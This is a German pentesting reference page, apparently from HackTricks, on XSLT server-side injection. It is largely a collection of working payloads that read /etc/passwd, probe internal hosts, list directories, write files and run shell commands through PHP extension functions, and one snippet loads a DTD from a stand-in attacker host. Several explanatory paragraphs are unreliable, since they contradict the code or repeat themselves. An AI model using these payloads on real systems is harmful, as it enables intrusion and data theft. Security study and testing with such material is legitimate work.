German - Ht
HackTricks Training Twitter Linkedin Sponsor

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Grundlegende Informationen

XSLT ist eine Technologie, die zur Transformation von XML-Dokumenten in verschiedene Formate verwendet wird. Es gibt drei Versionen: 1, 2 und 3, wobei Version 1 am häufigsten verwendet wird. Der Transformationsprozess kann entweder auf dem Server oder im Browser ausgeführt werden.

Die am häufigsten verwendeten Frameworks sind:

  • Libxslt von Gnome,

  • Xalan von Apache,

  • Saxon von Saxonica.

Für die Ausnutzung von Schwachstellen im Zusammenhang mit XSLT ist es erforderlich, dass xsl-Tags auf der Serverseite gespeichert und anschließend auf diesen Inhalt zugegriffen wird. Ein Beispiel für eine solche Schwachstelle ist in der folgenden Quelle dokumentiert: https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/.

Beispiel - Tutorial

sudo apt-get install default-jdk
sudo apt-get install libsaxonb-java libsaxon-java
xml.xml
<?xml version="1.0" encoding="UTF-8"?>
<catalog>
<cd>
<title>CD Title</title>
<artist>The artist</artist>
<company>Da Company</company>
<price>10000</price>
<year>1760</year>
</cd>
</catalog>
xsl.xsl
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td><xsl:value-of select="catalog/cd/title"/></td>
<td><xsl:value-of select="catalog/cd/artist"/></td>
</tr>
</table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

Ausführen:

saxonb-xslt -xsl:xsl.xsl xml.xml

Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td>CD Title</td>
<td>The artist</td>
</tr>
</table>
</body>
</html>

Fingerabdruck

detection.xsl
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>

Und ausführen

$saxonb-xslt -xsl:detection.xsl xml.xml

Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>

Lokale Datei lesen

read.xsl
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>
$ saxonb-xslt -xsl:read.xsl xml.xml

Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

SSRF

Server-Side Request Forgery (SSRF) ist eine Sicherheitslücke, bei der ein Angreifer eine Anwendung dazu bringt, Anfragen an andere interne oder externe Ressourcen durchzuführen. Dies geschieht normalerweise über eine schwach konfigurierte Funktion, die es ermöglicht, URLs als Eingabe zu akzeptieren und Anfragen an diese URLs zu senden.

Ein SSRF-Angriff kann verschiedene Auswirkungen haben, darunter:

  • Zugriff auf interne Ressourcen wie Datenbanken, Dateisysteme oder andere Dienste, die normalerweise nicht öffentlich zugänglich sind.

  • Scannen interner Netzwerke oder Portscans auf externe Ziele.

  • Ausnutzung von Schwachstellen in internen Systemen oder Diensten.

Um einen SSRF-Angriff durchzuführen, muss der Angreifer normalerweise eine URL angeben, die von der Anwendung akzeptiert und an den Server gesendet wird. Der Angreifer kann dann die Antwort des Servers analysieren, um Informationen zu sammeln oder weitere Angriffe durchzuführen.

Es gibt verschiedene Techniken, um SSRF-Angriffe zu erkennen und zu verhindern, darunter:

  • Validierung der Eingabe: Überprüfen Sie, ob die angegebene URL gültig ist und nur auf erlaubte Ressourcen verweist.

  • Whitelisting: Erlauben Sie nur den Zugriff auf bestimmte URLs oder Ressourcen.

  • Netzwerksegmentierung: Trennen Sie interne und externe Netzwerke, um den Zugriff auf interne Ressourcen zu beschränken.

  • Sicherheitsupdates: Halten Sie Anwendungen und Systeme auf dem neuesten Stand, um bekannte Schwachstellen zu beheben.

Es ist wichtig, SSRF-Angriffe zu verstehen und geeignete Sicherheitsmaßnahmen zu ergreifen, um potenzielle Risiken zu minimieren.

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>

Versionen

Je nach verwendeter XSLT-Version können mehr oder weniger Funktionen vorhanden sein:

Fingerabdruck

Laden Sie dies hoch und nehmen Sie Informationen auf

<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>

SSRF

Server-Side Request Forgery (SSRF) ist eine Sicherheitslücke, bei der ein Angreifer eine Anwendung dazu bringt, Anfragen an andere interne oder externe Ressourcen durchzuführen. Dies kann dazu führen, dass vertrauliche Informationen offengelegt werden oder dass Angriffe auf interne Systeme ausgeführt werden.

Ein häufiger Angriffsvektor für SSRF ist die Verwendung von URL-Parametern, die von der Anwendung verarbeitet werden. Der Angreifer kann eine manipulierte URL bereitstellen, die es ihm ermöglicht, Anfragen an interne Ressourcen wie Datenbanken, Dateisysteme oder andere Dienste durchzuführen.

Um SSRF zu verhindern, sollten Entwickler Eingaben validieren und sicherstellen, dass sie nur auf erlaubte Ressourcen zugreifen können. Es ist auch wichtig, dass Anwendungen keine vertraulichen Informationen in Fehlermeldungen preisgeben.

Zusammenfassend ist SSRF eine Sicherheitslücke, bei der ein Angreifer eine Anwendung dazu bringt, unerwünschte Anfragen an interne oder externe Ressourcen durchzuführen. Entwickler sollten sicherstellen, dass Eingaben validiert werden und dass keine vertraulichen Informationen preisgegeben werden.

<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
</esi:include>

Javascript-Injektion

Eine Javascript-Injektion ist eine Technik, bei der bösartiger Javascript-Code in eine Webseite eingefügt wird, um unerwünschte Aktionen auszuführen. Dies kann dazu führen, dass vertrauliche Informationen gestohlen, Benutzer umgeleitet oder schädlicher Code ausgeführt wird.

Arten von Javascript-Injektionen

Es gibt verschiedene Arten von Javascript-Injektionen, darunter:

  • Reflected XSS (Cross-Site Scripting): Hier wird der bösartige Javascript-Code in die URL einer Webseite eingefügt und vom Server reflektiert.

  • Stored XSS (Cross-Site Scripting): Hier wird der bösartige Javascript-Code in einer Datenbank oder einem anderen Speichermedium gespeichert und bei jedem Aufruf der Webseite ausgeführt.

  • DOM-basierte XSS (Cross-Site Scripting): Hier wird der bösartige Javascript-Code direkt im DOM (Document Object Model) der Webseite ausgeführt.

Auswirkungen von Javascript-Injektionen

Javascript-Injektionen können schwerwiegende Auswirkungen haben, darunter:

  • Diebstahl von Benutzerdaten wie Anmeldedaten, Kreditkarteninformationen usw.

  • Umleitung von Benutzern auf bösartige Webseiten oder Phishing-Seiten.

  • Ausführung von schädlichem Code auf dem Gerät des Benutzers, was zu weiteren Angriffen führen kann.

Schutz vor Javascript-Injektionen

Um sich vor Javascript-Injektionen zu schützen, sollten folgende Maßnahmen ergriffen werden:

  • Eingabevalidierung: Überprüfen Sie alle Benutzereingaben auf unerwünschte Zeichen oder Muster.

  • Ausgabevalidierung: Überprüfen Sie alle ausgehenden Daten auf unerwünschte Zeichen oder Muster.

  • Verwendung von Content Security Policy (CSP): CSP ermöglicht es Ihnen, festzulegen, welche Ressourcen auf einer Webseite geladen werden dürfen und welche nicht.

  • Aktualisierung von Software und Bibliotheken: Halten Sie Ihre Software und Bibliotheken auf dem neuesten Stand, um bekannte Sicherheitslücken zu schließen.

Fazit

Javascript-Injektionen sind eine ernsthafte Bedrohung für Webseiten und Benutzer. Durch die Implementierung geeigneter Sicherheitsmaßnahmen können Sie das Risiko von Javascript-Injektionen minimieren und Ihre Webseite und Benutzer schützen.

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>confirm("We're good");</script>
</xsl:template>
</xsl:stylesheet>

Verzeichnis auflisten (PHP)

Opendir + readdir

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
</xsl:template></xsl:stylesheet>

Assert (var_dump + scandir + false)

Die assert-Funktion in PHP wird normalerweise verwendet, um eine Bedingung zu überprüfen und einen Fehler auszulösen, wenn die Bedingung falsch ist. In einigen Fällen kann sie jedoch auch für Server Side Injection (SSI) verwendet werden.

Eine Möglichkeit, SSI mit assert durchzuführen, besteht darin, die Funktion var\_dump zu verwenden, um den Inhalt einer Variablen anzuzeigen. Durch die Kombination von var\_dump mit der Funktion scandir können wir den Inhalt eines Verzeichnisses auf dem Server anzeigen lassen.

Um SSI mit assert durchzuführen, können wir den folgenden Code verwenden:

assert(var_dump(scandir('/pfad/zum/verzeichnis')));

Dieser Code gibt den Inhalt des angegebenen Verzeichnisses aus. Wenn wir jedoch das Schlüsselwort false an assert übergeben, wird der Code nach dem assert-Statement nicht mehr ausgeführt. Dies kann nützlich sein, um unerwünschte Ausgaben zu verhindern.

assert(var_dump(scandir('/pfad/zum/verzeichnis'))) or die();

In diesem Fall wird der Code nach dem assert-Statement nicht ausgeführt, wenn das Verzeichnis nicht existiert oder nicht gelesen werden kann.

Es ist wichtig zu beachten, dass die Verwendung von assert für SSI gefährlich sein kann, da sie potenziell schädlichen Code auf dem Server ausführen kann. Es wird empfohlen, diese Technik nur in kontrollierten Umgebungen oder zu Schulungszwecken zu verwenden.

<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
<br />
</body>
</html>

Intern - PHP

XSLT (Extensible Stylesheet Language Transformations) ist eine Sprache, die verwendet wird, um XML-Dokumente in andere Formate zu transformieren. In einigen Fällen kann XSLT auch verwendet werden, um Dateien auf dem Server zu lesen.

Um Dateien mit XSLT zu lesen, können Sie die document()-Funktion verwenden. Diese Funktion ermöglicht es Ihnen, eine externe Datei zu öffnen und deren Inhalt abzurufen. Sie können die document()-Funktion verwenden, um auf lokale Dateien zuzugreifen, indem Sie den Dateipfad angeben.

Hier ist ein Beispiel für die Verwendung der document()-Funktion, um eine Datei mit PHP zu lesen:

<?php
$xml = '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xsl:stylesheet [
  <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:value-of select="php:function(\'base64_decode\', $file)"/>
  </xsl:template>
</xsl:stylesheet>';

$proc = new XSLTProcessor();
$proc->importStylesheet(new SimpleXMLElement($xml));
echo $proc->transformToXML(new SimpleXMLElement('<foo/>'));
?>

In diesem Beispiel wird die document()-Funktion verwendet, um die Datei /etc/passwd zu lesen. Der Inhalt der Datei wird dann mit der base64_decode()-Funktion dekodiert und ausgegeben.

Es ist wichtig zu beachten, dass diese Technik nur funktioniert, wenn der Server XSLT-Transformationen zulässt und die document()-Funktion nicht deaktiviert ist. Darüber hinaus müssen Sie über die erforderlichen Berechtigungen verfügen, um auf die gewünschte Datei zuzugreifen.

Es ist auch wichtig zu beachten, dass das Lesen von Dateien auf dem Server ohne Zustimmung des Eigentümers illegal ist und zu rechtlichen Konsequenzen führen kann. Diese Technik sollte nur zu legitimen Zwecken und mit Zustimmung des Eigentümers verwendet werden.

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', ‘utf-8')"/>
</xsl:template>
</xsl:stylesheet>

Intern - XXE

Eine XXE (XML External Entity) ist eine Sicherheitslücke, die es einem Angreifer ermöglicht, externe Entitäten in eine XML-Verarbeitung einzufügen. Dies kann zu verschiedenen Angriffen führen, wie z.B. dem Lesen von Dateien auf dem Server, dem Durchführen von Port-Scans oder dem Ausführen von Remote-Code.

Exploit-Techniken

Es gibt verschiedene Techniken, um eine XXE-Verwundbarkeit auszunutzen:

  1. Blind XXE: Der Angreifer kann die Antwort des Servers nicht direkt sehen, aber er kann indirekte Hinweise erhalten, indem er die Antwortzeit oder die Größe der Antwort analysiert.

  2. Parameterentwicklung: Der Angreifer kann die Parameter des XML-Dokuments manipulieren, um die gewünschten Informationen zu erhalten.

  3. Out-of-Band (OOB) XXE: Der Angreifer nutzt eine externe Entität, um Informationen über einen anderen Kanal abzurufen, z.B. über DNS-Anfragen oder HTTP-Anfragen an einen von ihm kontrollierten Server.

Gegenmaßnahmen

Um sich vor XXE-Angriffen zu schützen, sollten folgende Maßnahmen ergriffen werden:

  1. XML-Parser konfigurieren: Konfigurieren Sie den XML-Parser so, dass externe Entitäten deaktiviert sind.

  2. Input-Validierung: Überprüfen Sie alle Benutzereingaben, die in XML-Dokumente eingefügt werden, um sicherzustellen, dass sie keine schädlichen Entitäten enthalten.

  3. Content-Security-Policy (CSP): Verwenden Sie eine Content-Security-Policy, um die Ausführung von Skripten von nicht vertrauenswürdigen Quellen zu blockieren.

  4. Aktualisieren Sie Ihre Software: Halten Sie Ihre Software auf dem neuesten Stand, um bekannte Sicherheitslücken zu schließen.

Zusammenfassung

Eine XXE-Schwachstelle ermöglicht es einem Angreifer, externe Entitäten in eine XML-Verarbeitung einzufügen und verschiedene Angriffe durchzuführen. Um sich vor XXE-Angriffen zu schützen, sollten XML-Parser konfiguriert, Eingaben validiert, Content-Security-Policies verwendet und Software regelmäßig aktualisiert werden.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
&ext_file;
</xsl:template>
</xsl:stylesheet>

Durch HTTP

XSLT Server Side Injection (XSSI) ist eine Technik, bei der ein Angreifer bösartigen XSLT-Code in eine Anfrage an einen Server einschleust, um serverseitige Aktionen auszuführen. Dies kann durch eine Schwachstelle in der Verarbeitung von XML-Daten oder durch die direkte Verwendung von XSLT-Dateien ermöglicht werden.

Ein möglicher Angriffsvektor für XSSI ist die Übermittlung von XML-Daten über HTTP. Der Angreifer kann den XML-Inhalt so manipulieren, dass er bösartigen XSLT-Code enthält. Wenn der Server die XML-Daten verarbeitet und eine XSLT-Transformation durchführt, wird der bösartige Code ausgeführt.

Um XSSI über HTTP durchzuführen, müssen Sie zunächst die Schwachstelle identifizieren, die es ermöglicht, bösartigen XSLT-Code einzuschleusen. Dies kann beispielsweise eine unzureichende Validierung der XML-Daten oder eine unsichere Verwendung von XSLT-Dateien sein.

Sobald Sie die Schwachstelle identifiziert haben, können Sie den bösartigen XSLT-Code in die XML-Daten einfügen und die Anfrage an den Server senden. Der Server wird dann den Code ausführen und die gewünschten serverseitigen Aktionen ausführen.

Es ist wichtig zu beachten, dass XSSI ein potenziell gefährlicher Angriff ist und nur zu Testzwecken oder mit ausdrücklicher Zustimmung des Eigentümers des Servers durchgeführt werden sollte. Unbefugtes XSSI kann zu unbefugtem Zugriff auf Daten oder zur Kompromittierung des Servers führen.

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
<!DOCTYPE xsl:stylesheet [
<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
<xsl:template match="/">
&passwd;
</xsl:template>

Intern (PHP-Funktion)

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
</xsl:template>
</xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
<br />
</body>
</html>

Portscan

Ein Portscan ist ein Verfahren, bei dem die offenen Ports eines Zielsystems ermittelt werden. Dies ermöglicht es einem Angreifer, potenzielle Schwachstellen zu identifizieren und Angriffe auf das System vorzubereiten. Es gibt verschiedene Tools und Techniken, die für einen Portscan verwendet werden können, darunter Nmap, Masscan und Zmap. Ein Portscan kann entweder als Teil einer Penetrationstest- oder Sicherheitsüberprüfungsaktivität durchgeführt werden, oder von einem Angreifer, der versucht, unautorisierten Zugriff auf ein System zu erlangen. Es ist wichtig zu beachten, dass das Durchführen eines Portscans ohne Zustimmung des Eigentümers des Zielsystems illegal sein kann.

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="document('http://example.com:22')"/>
</xsl:template>
</xsl:stylesheet>

Schreiben in eine Datei

XSLT 2.0

XSLT 2.0 bietet die Möglichkeit, Daten in eine Datei zu schreiben. Dies kann nützlich sein, um Informationen zu speichern oder Ergebnisse zu protokollieren. Um Daten in eine Datei zu schreiben, können Sie die xsl:result-document Anweisung verwenden.

Die Syntax für die xsl:result-document Anweisung lautet wie folgt:

<xsl:result-document href="pfad/zur/datei">
    <!-- Inhalt der Datei -->
</xsl:result-document>

Der href-Attribut gibt den Pfad zur Datei an, in die geschrieben werden soll. Sie können entweder einen absoluten Pfad oder einen relativen Pfad angeben. Der Inhalt der Datei wird innerhalb der xsl:result-document Anweisung platziert.

Beispiel:

<xsl:result-document href="output.txt">
    <xsl:text>Hallo, Welt!</xsl:text>
</xsl:result-document>

In diesem Beispiel wird der Text "Hallo, Welt!" in die Datei "output.txt" geschrieben.

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:result-document href="local_file.txt">
<xsl:text>Write Local File</xsl:text>
</xsl:result-document>
</xsl:template>
</xsl:stylesheet>

Xalan-J Erweiterung

Die Xalan-J Erweiterung ist eine leistungsstarke Funktion, die in der Extensible Stylesheet Language Transformations (XSLT) verwendet wird. Xalan-J ist eine Java-basierte Implementierung von XSLT und bietet eine Vielzahl von Funktionen und Erweiterungen, die Entwicklern helfen, komplexe Transformationen auf XML-Daten durchzuführen.

Eine der nützlichsten Erweiterungen von Xalan-J ist die Möglichkeit, serverseitige Injektionen durchzuführen. Mit dieser Technik können Angreifer bösartigen Code in XSLT-Dateien einfügen, um auf vertrauliche Informationen zuzugreifen oder die Funktionalität der Anwendung zu manipulieren.

Um eine XSLT-Datei mit einer serverseitigen Injektion zu erstellen, muss der Angreifer die Schwachstellen in der Anwendung identifizieren, die XSLT-Dateien verarbeiten. Dies kann beispielsweise durch das Ausnutzen von unsicheren Eingabefeldern oder fehlerhaften Validierungen erfolgen.

Sobald der Angreifer eine Schwachstelle identifiziert hat, kann er den bösartigen Code in die XSLT-Datei einfügen. Dieser Code wird dann vom Xalan-J-Prozessor interpretiert und ausgeführt, wodurch der Angreifer die Kontrolle über die Anwendung erhält.

Es gibt verschiedene Arten von serverseitigen Injektionen, die mit Xalan-J durchgeführt werden können, darunter SQL-Injektionen, Remote-Code-Ausführung und Dateilecks. Jede dieser Techniken ermöglicht es dem Angreifer, auf unterschiedliche Weise auf vertrauliche Informationen zuzugreifen oder die Anwendung zu manipulieren.

Um sich vor Xalan-J-Erweiterungen zu schützen, sollten Entwickler sicherstellen, dass alle Eingaben ordnungsgemäß validiert und bereinigt werden. Darüber hinaus sollten sie regelmäßig nach Sicherheitslücken in ihrer Anwendung suchen und diese schnellstmöglich beheben, um potenzielle Angriffe zu verhindern.

<xsl:template match="/">
<redirect:open file="local_file.txt"/>
<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
<redirect:close file="loxal_file.txt"/>
</xsl:template>

Andere Möglichkeiten, Dateien in das PDF zu schreiben

Externes XSL einbinden

<xsl:include href="http://extenal.web/external.xsl"/>
<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>

Code ausführen

php:function

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec','sleep 10')" />
</xsl:template>
</xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
<br />
</body>
</html>

Führen Sie Code mit anderen Frameworks in der PDF aus

Weitere Sprachen

Auf dieser Seite finden Sie Beispiele für RCE in anderen Sprachen: https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET (C#, Java, PHP)

Zugriff auf PHP-Static-Funktionen von Klassen

Die folgende Funktion ruft die statische Methode stringToUrl der Klasse XSL auf:

<!--- More complex test to call php class function-->
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
version="1.0">
<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
<xsl:template match="root">
<html>
<!-- We use the php suffix to call the static class function stringToUrl() -->
<xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" />
<!-- Output: 'une_superstring ao modifier' -->
</html>
</xsl:template>
</xsl:stylesheet>

(Beispiel von http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls)

Weitere Payloads

Brute-Force-Erkennungsliste

Referenzen

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
PreviousXPATH injectionNextXXE - XEE - XML External Entity

Last updated